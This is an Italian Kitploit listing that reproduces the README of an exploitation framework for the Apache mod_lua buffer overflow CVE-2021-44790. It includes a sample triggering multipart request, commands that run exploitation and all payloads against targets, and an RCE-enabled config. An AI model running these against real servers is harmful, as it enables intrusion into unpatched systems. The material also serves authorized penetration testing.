Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790 — Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna. | Kitploit
Strumenti/GitHubGitHub/cerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790
Web Vulnerability ScannersExploit FrameworksExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubcerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790

Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Vedi Repository
113 giorni faNon ancora revisionato

Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna.

Condividi

🔥 CVE-2021-44790 - Sfruttamento del Buffer Overflow di Apache mod_lua

Version Python License CVE Apache CVSS Author


📋 Panoramica

Apache mod_lua Buffer Overflow Exploitation è una piattaforma di sfruttamento avanzata, di livello enterprise, per CVE-2021-44790 - una vulnerabilità critica di buffer overflow nel modulo mod_lua di Apache HTTP Server 2.4.x. Questo framework offre funzionalità complete di fingerprinting, scoperta intelligente degli script, scansione multi-fase e reportistica professionale con rilevamento con affidabilità del 95%+.

⚡ Funzionalità principali


🎯 Dettagli della vulnerabilità

Descrizione tecnica

La vulnerabilità risiede nel modulo mod_lua durante l'elaborazione delle richieste multipart/form-data. Un integer underflow nella funzione lua_request_parsebody() può portare a un buffer overflow basato su heap, consentendo potenzialmente l'esecuzione remota di codice.

root@kitploit:~
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4

4
Content-Disposition: form-data; name="name"

0
4

📸 Screenshot

Interfaccia principaleRisultati del fingerprint

🚀 Avvio rapido

Installazione

root@kitploit:~
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

Utilizzo di base

root@kitploit:~
# Quick vulnerability scan
python3 exploit.py http://target.com

# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose

# Generate all reports
python3 exploit.py http://target.com --report all

# Research mode with database
python3 exploit.py http://target.com --research

📋 Utilizzo dettagliato

Opzioni da riga di comando

root@kitploit:~
python3 exploit.py [TARGET] [OPTIONS]

Esempi

1. Valutazione di base della vulnerabilità

root@kitploit:~
python3 exploit.py https://example.com --verbose --report all

2. Scansione in ambiente aziendale

root@kitploit:~
python3 exploit.py https://internal-server.com \
    --proxy http://proxy.corp.com:8080 \
    --threads 10 \
    --timeout 15 \
    --verbose \
    --report all \
    --output /var/log/security/

3. Test di penetrazione completo

root@kitploit:~
python3 exploit.py https://client.com \
    --threads 30 \
    --timeout 10 \
    --exploit \
    --all-payloads \
    --report all \
    --screenshot \
    --research \
    --verbose \
    --output /pentest/client_name/

4. Scansione batch

root@kitploit:~
python3 exploit.py --batch targets.txt --config config.yaml

5. Query sul database

root@kitploit:~
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"

# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"

⚙️ Configurazione

config.yaml

root@kitploit:~
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------

# Scan Settings
threads: 20                    # Concurrent threads
timeout: 10                    # Request timeout in seconds
retries: 3                     # Number of retry attempts
rate_limit: 10                 # Requests per second
max_depth: 3                   # Directory traversal depth
follow_redirects: true         # Follow HTTP redirects
verify_ssl: false              # Verify SSL certificates

# Network Settings
proxy: null                    # Proxy URL
http2: true                    # Enable HTTP/2 support
user_agent: random             # User-Agent (random/specific)
save_packets: false            # Save raw network packets

# Analysis Settings
research_mode: true            # Enable research database
verbose: false                 # Verbose output
scan_only: false               # Scan without exploitation
exploit: false                 # Enable exploitation
all_payloads: false            # Use all payloads

# Payload Settings
payloads:
  detection: true
  memory: true
  rce: true
  dos: false

# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports

# Database Settings
database_path: luastorm.db
database_retention: 365

# Directory Settings
logs_dir: logs
screenshots_dir: screenshots

📊 Report

Dashboard HTML

  • Grafici e tabelle interattivi
  • Visualizzazione del fingerprint del target
  • Riepilogo della scoperta degli script
  • Cronologia di esecuzione dei payload
  • Valutazione della vulnerabilità
  • Punteggio del rischio

Report JSON

root@kitploit:~
{
  "scan_id": "a1b2c3d4",
  "target": {
    "url": "https://example.com",
    "hostname": "example.com",
    "port": 443
  },
  "vulnerable": true,
  "risk_level": "Critical",
  "scan_duration": 45.23,
  "timestamp": "2026-08-04T15:45:23"
}

Report Markdown

  • Documentazione leggibile
  • Dati in formato tabellare
  • Facile condivisione e incorporamento
  • Compatibile con i sistemi di versionamento

🗄️ Schema del database

root@kitploit:~
-- Targets table
CREATE TABLE targets (
    id INTEGER PRIMARY KEY,
    scan_id TEXT UNIQUE,
    url TEXT,
    hostname TEXT,
    ip TEXT,
    port INTEGER,
    protocol TEXT,
    apache_version TEXT,
    lua_version TEXT,
    os TEXT,
    architecture TEXT,
    waf TEXT,
    cdn TEXT,
    vulnerable INTEGER,
    risk_level TEXT,
    scan_date TEXT,
    duration REAL
);

-- Scripts table
CREATE TABLE scripts (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    path TEXT,
    method TEXT,
    status_code INTEGER,
    content_type TEXT,
    response_time REAL,
    vulnerable INTEGER
);

-- Payloads table
CREATE TABLE payloads (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    script_id INTEGER,
    payload_name TEXT,
    payload_type TEXT,
    success INTEGER,
    response_time REAL,
    indicators TEXT,
    error TEXT
);

🔧 Sistema di plugin

Creazione di un plugin

root@kitploit:~
# plugins/my_plugin.py
class MyPlugin:
    plugin_name = "my_plugin"
    plugin_version = "1.0"
    plugin_author = "Your Name"
    
    def __init__(self, config):
        self.config = config
    
    def execute(self, target_info):
        """Execute plugin logic"""
        return {
            'status': 'success',
            'message': 'Plugin executed',
            'data': {'target': target_info.url}
        }

🛡️ Considerazioni sulla sicurezza

  • Solo uso autorizzato: questo strumento è destinato esclusivamente a test di sicurezza autorizzati
  • Conformità legale: assicurati di avere il permesso prima di effettuare test
  • Divulgazione responsabile: segnala le vulnerabilità in modo responsabile
  • Protezione dei dati: tutti i dati sensibili sono archiviati localmente

⚠️ Disclaimer

root@kitploit:~
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.

By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes

📈 Metriche delle prestazioni


🗺️ Roadmap

Versione 2.1 (pianificata)

  • Supporto per CVE aggiuntive
  • Interfaccia Web UI
  • Containerizzazione Docker
  • Pipeline CI/CD
  • Più varianti di payload

Versione 2.2 (futura)

  • Integrazione del machine learning
  • Sfruttamento automatizzato
  • Scansione basata su cloud
  • Funzionalità di collaborazione di squadra
  • Tecniche avanzate di evasione

🤝 Contributi

I contributi sono benvenuti! Segui queste linee guida:

  1. Fai un fork del repository
  2. Crea un branch di funzionalità
  3. Apporta le tue modifiche
  4. Invia una pull request

Configurazione di sviluppo

root@kitploit:~
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install development dependencies
pip install -r requirements-dev.txt

# Run tests
python -m pytest tests/

👨‍💻 Autore

Sudeepa Wanigarathna

  • Ricercatore di sicurezza ed ethical hacker
  • GitHub: @CerberusMrXi
  • Focus: Ricerca sulle vulnerabilità e sviluppo di exploit

📄 Licenza

Solo per scopi educativi e test autorizzati

Questo software è fornito "così com'è", senza alcuna garanzia, esplicita o implicita.


⭐ Metti una stella a questo repository per supportare il progetto!

💡 Trovato un bug? Apri una segnalazione

📧 Contatto: [email protected]


Realizzato con ❤️ per la community della sicurezza

Scarica lo strumento
FunzionalitàDescrizione
🔍 Fingerprinting avanzatoRilevamento di versione Apache, mod_lua, OS, architettura, WAF, CDN, container, provider cloud
🎯 Scoperta intelligente7+ tecniche di scoperta tra cui robots.txt, sitemap, parsing HTML, estrazione JavaScript
💥 Scansione multi-faseConnessione → Fingerprint → Scoperta → Verifica → Sfruttamento → Report
🧩 Sistema di plugin estensibileSviluppo semplice di plugin per future CVE
🌐 Motore HTTP intelligentePool di connessioni, tentativi, supporto HTTP/2, rate limiting
📊 Reportistica completaJSON, HTML, Markdown, PDF con dashboard interattive
🎨 Splendida UI da terminaleLibreria Rich con barre di avanzamento, tabelle e output codificato a colori
💾 Database di ricercaArchiviazione SQLite con cronologia completa delle scansioni e supporto alle query
📸 Acquisizione screenshotScreenshot automatici delle pagine web per la raccolta di prove
🚀 Prestazioni elevate20+ thread concorrenti, 100+ pool di connessioni
AttributoValore
ID CVECVE-2021-44790
VulnerabilitàBuffer Overflow (Integer Underflow)
Software interessatoApache HTTP Server dalla 2.4.0 alla 2.4.51
Versione correttaApache HTTP Server 2.4.52 e successive
ComponenteModulo mod_lua
Vettore di attaccoRete (Remoto)
Punteggio CVSS9.8 (Critico)
Impatto sulla riservatezzaAlto
Impatto sull'integritàAlto
Impatto sulla disponibilitàAlto
Maturità dell'exploitProof-of-Concept disponibile
Avanzamento della scansioneDashboard del report HTML
OpzioneDescrizioneEsempio
TARGETURL del targethttp://target.com
--config FILEFile di configurazione--config config.yaml
--threads NNumero di thread--threads 30
--timeout NTimeout delle richieste (secondi)--timeout 15
--proxy URLURL del proxy--proxy http://127.0.0.1:8080
--verboseOutput dettagliato--verbose
--scan-onlyScansione senza sfruttamento--scan-only
--exploitAbilita lo sfruttamento--exploit
--all-payloadsUsa tutti i payload--all-payloads
--report FORMATFormato del report (json/html/markdown/all)--report all
--output DIRDirectory di output--output /path/to/reports/
--researchAbilita la modalità ricerca--research
--database FILEPercorso del database--database luastorm.db
--screenshotAcquisisci screenshot--screenshot
--batch FILEFile batch con i target--batch targets.txt
--query SQLEsegui una query sul database--query "SELECT * FROM targets"
FunzionalitàPrestazioni
Fingerprinting< 2 secondi
Scoperta script5-10 secondi
Test dei payload1-5 secondi per payload
Generazione report< 1 secondo
Operazioni sul database< 100ms
Thread concorrenti20+
Pool di connessioni100+